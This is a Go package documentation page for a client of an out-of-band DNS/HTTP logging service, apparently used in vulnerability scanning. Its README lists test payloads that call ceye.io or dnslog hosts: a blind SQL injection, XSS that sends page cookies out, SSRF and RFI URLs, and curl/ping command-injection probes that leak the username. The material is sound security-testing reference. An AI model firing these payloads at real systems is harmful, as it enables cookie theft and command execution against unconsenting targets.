client

package
v0.7.0 Latest Latest
Warning

This package is not in the latest version of its module.

 Go to latest Published: Aug 9, 2021 License: Apache-2.0 Imports: 11 Imported by: 0

README

Blind sqli

select load_file('\\\\afanti.xxxx.ceye.io\\aaa');

XSS

Payload1:

><img src=http://xss.xxxx.ceye.io/log/xss001>

blind Payload2:

var s=document.createElement('img');
s.src="http://xss.test.dnslog.link/?url="+document.location+"&cookie="+document.cookie;
document.head.appendChild(s);

SSRF

http://xss.xxxx.ceye.io/payload/phprfi

php RFI

http://xss.xxxx.ceye.io/aaa

RCE

linux/unix:

curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io

windows:

ping %USERNAME%.xxx.ceye.io

XXE

see http://ceye.io/payloads XXE

Others

see http://ceye.io/payloads XXE

Reference

https://www.cnblogs.com/rnss/p/11320305.html http://ceye.io/payloads http://foreversong.cn/archives/861 https://bbs.ichunqiu.com/thread-22002-1-1.html http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/ https://www.freebuf.com/column/184587.html https://blog.51cto.com/tar0cissp/2337779 https://github.com/BugScanTeam/DNSLog

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

This section is empty.

Types

type Client 

type Client struct {
	*http.Client
	// contains filtered or unexported fields
}

func NewClient 

func NewClient(domain, secret string, ssl bool) (*Client, error)

func (*Client) BuildDnsDomain 

func (self *Client) BuildDnsDomain(v interface{}) string

func (*Client) BuildHttpURL 

func (self *Client) BuildHttpURL(v interface{}) string

func (*Client) Hash 

func (self *Client) Hash(querys url.Values) string

func (*Client) QueryDns 

func (self *Client) QueryDns(varirable string, blur bool) ([]models.DnsRecord, error)

func (*Client) QueryHttp 

func (self *Client) QueryHttp(varirable string, blur bool) ([]models.HttpRecord, error)

Source Files

View all Source files

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
go.dev uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. Learn more.